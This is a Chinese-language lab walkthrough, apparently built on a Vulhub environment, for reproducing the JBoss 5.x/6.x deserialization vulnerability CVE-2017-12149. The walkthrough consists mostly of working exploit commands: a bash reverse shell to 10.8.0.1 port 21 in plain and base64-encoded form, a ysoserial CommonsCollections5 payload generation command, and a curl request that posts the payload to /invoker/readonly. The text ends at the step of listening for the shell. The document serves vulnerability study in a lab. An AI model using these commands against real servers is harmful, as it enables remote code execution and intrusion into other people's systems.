JBoss 5.x 6.x 反序列化漏洞 CVE-2017-12149

漏洞描述

该漏洞为 Java 反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

参考:

环境搭建

Vulhub 执行以下命令启动一个 Jboss 6.0 的应用:

docker-compose up -d

首次执行时会有 1~3 分钟时间初始化,初始化完成后访问 http://your-ip:8080/ 即可看到 JBoss 默认页面。

漏洞复现

该漏洞出现在 /invoker/readonly 请求中,服务器将用户提交的 POST 内容进行了 Java 反序列化:

所以,我们用常规 Java 反序列化漏洞测试方法来复现该漏洞。

编写反弹 shell 的命令

我们使用 bash 来反弹 shell,但由于 Runtime.getRuntime().exec() 中不能使用管道符等 bash 需要的方法,我们需要用进行一次编码。

bash -i >& /dev/tcp/10.8.0.1/21 0>&1

# base64 编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjAuMS8yMSAwPiYx} | {base64,-d} | {bash,-i}

序列化数据生成

使用 ysoserial 来复现生成序列化数据,由于 Vulhub 使用的 Java 版本较新,所以选择使用的 gadget 是 CommonsCollections5:

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

发送 POC

生成好的 POC 即为 poc.ser,将这个文件作为 POST Body 发送至 /invoker/readonly 即可:

curl -v POST http://your-ip:8080/invoker/readonly -H 'Content-Type: application/data' --data-binary @poc.ser

监听 21 端口,接收反弹 shell: